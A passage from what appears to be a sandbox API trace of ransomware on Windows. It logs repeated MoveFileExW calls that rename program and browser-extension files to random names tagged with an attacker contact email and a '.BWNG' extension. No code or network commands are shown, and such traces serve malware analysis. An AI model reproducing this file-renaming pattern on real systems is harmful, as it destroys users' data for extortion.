(x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\[billwong73@yahoo.com].rv51ih14-8eonib09.bwng"), dwFlags=0x1) returned 1 [0119.272] GetTickCount () returned 0x11656d7 [0119.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122389942) returned 1 [0119.272] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\keytool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\keytool.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].fkU6Nw7f-unGrv0Gu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].fku6nw7f-ungrv0gu.bwng"), dwFlags=0x1) returned 1 [0119.273] GetTickCount () returned 0x11656d7 [0119.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122505198) returned 1 [0119.273] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\ssvagent.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\ssvagent.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].QGZRJ0bG-SRUq9VYa.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].qgzrj0bg-sruq9vya.bwng"), dwFlags=0x1) returned 1 [0119.274] GetTickCount () returned 0x11656d7 [0119.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122627391) returned 1 [0119.274] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\gray.pf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].aIIHxKpp-xsVIlm4E.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].aiihxkpp-xsvilm4e.bwng"), dwFlags=0x1) returned 1 [0119.275] GetTickCount () returned 0x11656d7 [0119.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122759351) returned 1 [0119.276] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_es.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].2vtzeAkL-6KWj4Mt6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].2vtzeakl-6kwj4mt6.bwng"), dwFlags=0x1) returned 1 [0119.276] GetTickCount () returned 0x11656d7 [0119.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122872171) returned 1 [0119.277] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\splash.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].o5zvFYkw-34a4x5DU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].o5zvfykw-34a4x5du.bwng"), dwFlags=0x1) returned 1 [0119.278] GetTickCount () returned 0x11656d7 [0119.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122983370) returned 1 [0119.278] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].HPIWiqW6-yfxV7ZHu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].hpiwiqw6-yfxv7zhu.bwng"), dwFlags=0x1) returned 1 [0119.398] GetTickCount () returned 0x1165754 [0119.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26135024146) returned 1 [0119.398] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-container.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].Cz9JNXgP-PeZnapWc.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].cz9jnxgp-peznapwc.bwng"), dwFlags=0x1) returned 1 [0119.399] GetTickCount () returned 0x1165754 [0119.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26135161583) returned 1 [0119.400] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].pjuCXrFY-G8eN2zhi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].pjucxrfy-g8en2zhi.bwng"), dwFlags=0x1) returned 1 [0119.401] GetTickCount () returned 0x1165754 [0119.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26135290277) returned 1 [0119.401] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].IcIKbjHG-lhzzTB9p.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].icikbjhg-lhzztb9p.bwng"), dwFlags=0x1) returned 1 [0119.402] GetTickCount () returned 0x1165754 [0119.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26135425421) returned 1 [0119.402] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), lpNewFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\[billwong73@yahoo.com].wM2PogXA-ZbFbd3b9.BWNG" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\[billwong73@yahoo.com].wm2pogxa-zbfbd3b9.bwng"), dwFlags=0x1) returned 1 [0119.404] GetTickCount () returned 0x1165764 [0119.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26135611095) returned 1 [0119.404] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].Lt8fv7qA-VVJZD4sB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].lt8fv7qa-vvjzd4sb.bwng"), dwFlags=0x1) returned 1 [0119.406] GetTickCount () returned 0x1165764 [0119.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26135787033) returned 1 [0119.406] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].J6Dye2Qc-92bZJGCC.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].j6dye2qc-92bzjgcc.bwng"), dwFlags=0x1) returned 1 [0119.407] GetTickCount () returned 0x1165764 [0119.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26135918862) returned 1 [0119.407] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].cV7XZYLk-142oan7N.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].cv7xzylk-142oan7n.bwng"), dwFlags=0x1) returned 1 [0119.408] GetTickCount () returned 0x1165764 [0119.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26136070925) returned 1 [0119.409] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].NOP3Tt1f-Ko7Ax4Im.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].nop3tt1f-ko7ax4im.bwng"), dwFlags=0x1) returned 1 [0119.410] GetTickCount () returned 0x1165764 [0119.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26136226379) returned 1 [0119.410] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\flavormap.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].yksrKKlO-UFFSLXuX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].yksrkklo-uffslxux.bwng"), dwFlags=0x1) returned 1 [0119.411] GetTickCount () returned 0x1165764 [0119.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26136355536) returned 1 [0119.412] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-it.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].mSH67ofy-jdbJdknX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].msh67ofy-jdbjdknx.bwng"), dwFlags=0x1) returned 1 [0119.413] GetTickCount () returned 0x1165764 [0119.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26136480256) returned 1 [0119.413] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zx______.pfb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].EES9Aj8I-nuDrQQKo.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].ees9aj8i-nudrqqko.bwng"), dwFlags=0x1) returned 1 [0119.414] GetTickCount () returned 0x1165764 [0119.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26136617857) returned 1 [0119.414] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cambridge_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cambridge_bay"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].e6cviLp5-qlVwaxM9.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].e6cvilp5-qlvwaxm9.bwng"), dwFlags=0x1) returned 1 [0119.415] GetTickCount () returned 0x1165764 [0119.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26136741286) returned 1 [0119.415] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidatypewriterregular.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].AvhfChBk-wWWkx8pW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].avhfchbk-wwwkx8pw.bwng"), dwFlags=0x1) returned 1 [0119.416] GetTickCount () returned 0x1165764 [0119.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26136862358) returned 1 [0119.417] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javafx.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].yfKfOlbc-Nuu8jZ2v.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].yfkfolbc-nuu8jz2v.bwng"), dwFlags=0x1) returned 1 [0119.632] GetTickCount () returned 0x116583e [0119.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26158475874) returned 1 [0119.633] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.access"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\[billwong73@yahoo.com].PFs2qa1r-nmrDVLEV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\[billwong73@yahoo.com].pfs2qa1r-nmrdvlev.bwng"), dwFlags=0x1) returned 1 [0119.634] GetTickCount () returned 0x116583e [0119.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26158627091) returned 1 [0119.634] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Goose_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\goose_bay"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].pXiTcjDa-l9Y791M5.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].pxitcjda-l9y791m5.bwng"), dwFlags=0x1) returned 1 [0119.635] GetTickCount () returned 0x116583e [0119.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26158756175) returned 1 [0119.636] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].YVJ6VmhC-GDLQs7yn.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].yvj6vmhc-gdlqs7yn.bwng"), dwFlags=0x1) returned 1 [0119.637] GetTickCount () returned 0x116584e [0119.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26158957565) returned 1 [0119.638] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\[billwong73@yahoo.com].18omJpMc-aHxfP5Jw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\[billwong73@yahoo.com].18omjpmc-ahxfp5jw.bwng"), dwFlags=0x1) returned 1 [0119.639] GetTickCount () returned 0x116584e [0119.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26159100961) returned 1 [0119.639] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\sound.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\sound.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].7yLv9EzD-6TfJMHu6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].7ylv9ezd-6tfjmhu6.bwng"), dwFlags=0x1) returned 1 [0119.640] GetTickCount () returned 0x116584e [0119.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26159218896) returned 1 [0119.640] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bissau"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].vytmCDFh-aNIxa8TK.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].vytmcdfh-anixa8tk.bwng"), dwFlags=0x1) returned 1 [0119.641] GetTickCount () returned 0x116584e [0119.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26159536821) returned 1 [0119.643] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\djibouti"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].TdMRxRLv-JANMRU0F.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].tdmrxrlv-janmru0f.bwng"), dwFlags=0x1) returned 1 [0119.644] GetTickCount () returned 0x116584e [0119.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26159662799) returned 1 [0119.645] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kigali"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].iujCSJOz-56HHCdy3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].iujcsjoz-56hhcdy3.bwng"), dwFlags=0x1) returned 1 [0119.646] GetTickCount () returned 0x116584e [0119.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26159805551) returned 1 [0119.646] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maseru"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].tYaoWtGb-ni52Nb8B.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].tyaowtgb-ni52nb8b.bwng"), dwFlags=0x1) returned 1 [0119.647] GetTickCount () returned 0x116584e [0119.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26159931609) returned 1 [0119.647] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\sao_tome"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].41X7TylT-vwMuXdRD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].41x7tylt-vwmuxdrd.bwng"), dwFlags=0x1) returned 1 [0119.648] GetTickCount () returned 0x116584e [0119.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26160048980) returned 1 [0119.648] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Catamarca" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\catamarca"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].oc2Y6drv-GtbTSX9B.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].oc2y6drv-gtbtsx9b.bwng"), dwFlags=0x1) returned 1 [0119.650] GetTickCount () returned 0x116584e [0119.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26160178946) returned 1 [0119.650] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Ushuaia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\ushuaia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].EypK4pZ2-Hd2CoDsS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].eypk4pz2-hd2codss.bwng"), dwFlags=0x1) returned 1 [0119.651] GetTickCount () returned 0x116584e [0119.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26160309219) returned 1 [0119.651] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].b6OqfN0x-A4Pxi2ZQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].b6oqfn0x-a4pxi2zq.bwng"), dwFlags=0x1) returned 1 [0119.652] GetTickCount () returned 0x116584e [0119.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26160439800) returned 1 [0119.747] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\[billwong73@yahoo.com].dGkWWJZH-Nm3PRRHa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\[billwong73@yahoo.com].dgkwwjzh-nm3prrha.bwng"), dwFlags=0x1) returned 1 [0119.748] GetTickCount () returned 0x11658bb [0119.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26170052581) returned 1 [0119.749] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\[billwong73@yahoo.com].DPVvYL8t-bF2Zdatp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\[billwong73@yahoo.com].dpvvyl8t-bf2zdatp.bwng"), dwFlags=0x1) returned 1 [0119.750] GetTickCount () returned 0x11658bb [0119.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26170185260) returned 1 [0119.750] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\[billwong73@yahoo.com].iWMwIlFM-EhFG2PiY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\[billwong73@yahoo.com].iwmwilfm-ehfg2piy.bwng"), dwFlags=0x1) returned 1 [0119.751] GetTickCount () returned 0x11658bb [0119.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26170329694) returned 1 [0119.751] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 